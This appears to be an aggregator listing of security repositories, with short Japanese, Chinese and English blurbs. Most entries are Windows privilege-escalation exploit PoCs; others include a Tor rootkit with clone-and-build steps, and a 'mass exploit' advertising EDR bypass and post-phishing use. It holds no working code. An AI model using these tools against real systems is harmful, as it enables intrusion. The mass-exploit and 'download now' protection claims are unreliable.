CVE-2023-21716

CVE-2023-21716 RTFクラッシュPoC Python 3.11 Windows 10...

TABPE

TABPE TABPEとは？ TABPE （TABriz + PE の組み合わせ。タブリーズは私の故郷であり、この街への愛情からこのプロジェクトを名付けました）は、クリーンで完全に更新されたWindows 10 ProおよびWindows 11 Pro上のすべてのPEファイル（.exe、.dll、.sysなどを含むWindows実行可能ファイル）に関する情報を含む、オープンで構造化されたデータセットです。 私のワークフローは次のとおりです： Windowsをインストールし、毎月Microsoftがセキュリティ更新プログラム（Patch...

CVE-2021-1732

Windows 権限昇格 CVE-2021-1732 Win32k のエクスプロイト - ローカル権限昇格 教育および許可されたセキュリティ研究目的のみ 元のエクスプロイト作者 @Exploit Blizzard 脆弱性の説明 win32k 内に存在する脆弱性であり、攻撃者がこれを悪用することで NT AUTHORITY\SYSTEM に権限を昇格させることができます。この欠陥は、ウィンドウの WndExtra...

CVE-2024-21338-x64-build-

CVE-2024-21338 在启用了HVCI的Windows 10和Windows 11操作系统上，从管理员权限提升至内核权限的本地权限提升漏洞。...

CVE-2016-7255

CVE-2016-7255 Microsoft Windows Vista SP2、Windows Server 2008 SP2およびR2 SP1、Windows 7 SP1、Windows 8.1、Windows Server 2012 GoldおよびR2、Windows RT 8.1、Windows 10 Gold、1511、1607、Windows Server 2016のカーネルモードドライバにより、ローカルユーザーが細工されたアプリケーションを介して特権を昇格できる脆弱性があります。別名「Win32k 特権昇格の脆弱性」。 リビア出身、17歳のGihad...

CVE-2020-0601-EXP

CVE-2020-0601-EXP このリソースは、著者がMicrosoftの署名証明書の脆弱性CVE-2020-0601を再現し、関連するリソースや記事を組み合わせて実装したものです。著者のブログと合わせて、ECCアルゴリズムとWindowsの検証メカニズムを理解し、自分で実行可能ファイルの署名証明書やHTTPSハイジャックの例を再現してみることをお勧めします。ネットワークセキュリティの初心者として、自分は確かに未熟ですが、続けていきたいと思います。頑張ります！...

SMB-Penetration-Testing-NTLM-Relay-Version-2-

SMB 渗透测试 — NTLM 中继攻击 红队实验室 — 通过 LLMNR 投毒、CVE-2007-2447 进行 NTLM 中继、NTLMv2 哈希破解及在 Windows 10 上获得 NT AUTHORITY\SYSTEM 权限 作者 字段| 详情 ---|--- 姓名| Younes GitHub| @Youneskc 类型| 渗透测试实验室 状态| 已完成 法律免责声明 本项目仅在隔离的实验室环境 中执行，仅供教育和研究目的 使用。 所有测试系统均为作者私人所有。 未涉及任何外部网络、生产系统或第三方基础设施。 所有活动均遵守适用于网络安全研究的适用法律和道德准则。 项目概述...

CVE-2023-36003

CVE-2023-36003: Windows Defender Exploit Protection バイパス PoC このリポジトリには、CVE-2023-36003 の Proof of Concept（PoC）が含まれています。これは、Windows Defender Exploit Protection に影響を与える、重要なセキュリティ機能バイパス脆弱性です。 概要 CVE-2023-36003 は Windows Defender...

CVE-2021-31956

CVE-2021-31956 win10 20h2 上でかなり安定したエクスプロイト 新しいコンソールウィンドウを作成するので、気に入らなければ変更してください あと、もっと重要なのは、createfilea のパスをディスク上の実際の書き込み可能なディレクトリに変更することです...

Py-RDP-Patcher

Py-RDP-Patcher Py-RDP-Patcherは、termsrvファイルにパッチを適用して同時RDPセッションを許可するためにPythonで作られたツールです。 セットアップガイド: このスクリプトはartライブラリのみを必要とします。以下のコマンドでインストールできます： root@kitploit: pip install art 必要条件: Python3, Windows 制限事項: 現在、このスクリプトはWindows...

CVE-2017-0213

CVE-2017-0213：Windows COM 特权提升漏洞 描述 作者： Google 安全研究团队 CVE： 2017-0213 EDB-ID： 42020 参考： Project-Zero Microsoft Exploit-Database 视频： Youtube 受影响的产品 产品| 版本| 更新| 生成版本| 已测试 ---|---|---|---|--- Windows 10| 1511| | 10586| √ Windows 10| 1607| | 14393| √ Windows 10| 1703| | 15063| √ Windows 7| | SP1| | √...

tor-rootkit

tor-rootkit A Python 3 standalone Windows 10 / Linux Rootkit. The networking communication get's established over the tor network. This rootkit is WIP. Disclaimer Use for educational purposes only. How to use 1. Clone the repo and change directory: root@kitploit: git clone...

tor-rootkit

tor-rootkit Python 3 スタンドアロンの Windows 10 / Linux ルートキットです。ネットワーク通信は Tor ネットワークを介して確立されます。 このルートキットは WIP です。 免責事項 教育目的にのみ使用してください。 使用方法 1. リポジトリをクローンしてディレクトリを変更します： root@kitploit: git clone https://github.com/emcruise/tor-rootkit.git cd ./tor-rootkit 2. Docker コンテナをビルドします： root@kitploit: docker...

aioScan_CVE-2020-0796

aioScanCVE-2020-0796 はじめに 公開されたPOCを基に、コルーチンを活用して検出速度を大幅に向上させました。運用担当者の皆さんが迅速に内部ネットワークをスキャンできるようになります。 影響を受けるバージョン root@kitploit: Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server, Version 1903...

CVE-2025-68921

🎮 CVE-2025-68921 - 今日からあなたのゲーミングラップトップを守ろう 🚀 はじめに CVE-2025-68921 へようこそ。このアプリケーションは、数百万のデバイスに影響を与える脆弱性からゲーミングラップトップを保護します。以下の手順に従ってソフトウェアをダウンロードし、実行してください。 🔗 今すぐダウンロード 💾 システム要件 CVE-2025-68921 をスムーズに実行するには、ゲーミングラップトップが以下の要件を満たしていることを確認してください。 オペレーティングシステム: Windows 10 以降 プロセッサ: Intel または AMD、2 GHz 以...

CVE-2021-40449

CVE-2021-40449 CVE-2021-40449 のエクスプロイトです。win32kfull!GreResetDCInternal の UAF を介した Windows LPE です。 概要 UAF の脆弱性に加えて、このエクスプロイトを可能にするために他のプリミティブが使用されています。 SystemHandleInformation パラメータを使用した NtQuerySystemInformation 関数を介して、ring0 でエクスプロイトの access token のアドレスを漏洩します。 ガジェットとして rtlSetAllBits を使用し、エクスプロイトの...

PrivFu

PrivFu カーネルモード WinDbg 拡張機能と、トークン特権がどのように機能するかをテストするための PoCs。 トークン特権の悪用に関する注目すべきリポジトリや記事として、Grzegorz Tworek 氏の Priv2Admin があります。 このリポジトリのコードは、トークン特権がどのように機能するかを調査するのに役立つことを目的としています。 Table Of Contents PrivFu ArtsOfGetSystem KernelWritePoCs PrivEditor getps コマンド getpriv コマンド addpriv コマンド rmpriv コマンド...

CVE-2026-68820_Mass_Exploit

CVE-2026-68820 — 大规模漏洞利用框架版。 用于通过 AFD.sys 驱动程序（辅助功能驱动程序）中的释放后使用（use-after-free）漏洞，自动进行大规模本地权限提升（LPE）至 NT AUTHORITY\SYSTEM 的自动化模块。 该漏洞利用专为企业环境设计： 支持 Windows 10/11（所有 2025–2026 版本） 绕过 PPL 保护 即使在完全修补的系统上也能稳定运行 内置 EDR/AV 绕过，通过可信进程注入 和签名随机化实现 非常适合后渗透场景（Web Shell、钓鱼攻击），用于实现持久化和横向移动。 无需重启，执行时间不到 1 秒。...

CVE-2026-24291

CVE-2026-24291 poc win1021h2190446937amd64 vs2022...

WSuspicious

WSuspicious 概要 これは、WSUSを悪用してWindowsホスト上で特権を昇格させるための概念実証プログラムです。 詳細はこちらのブログ記事: https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/ WSuspectプロキシプロジェクトに触発されました: https://github.com/ctxis/wsuspect-proxy 謝辞 特権昇格モジュールはGoSecureのMaxime...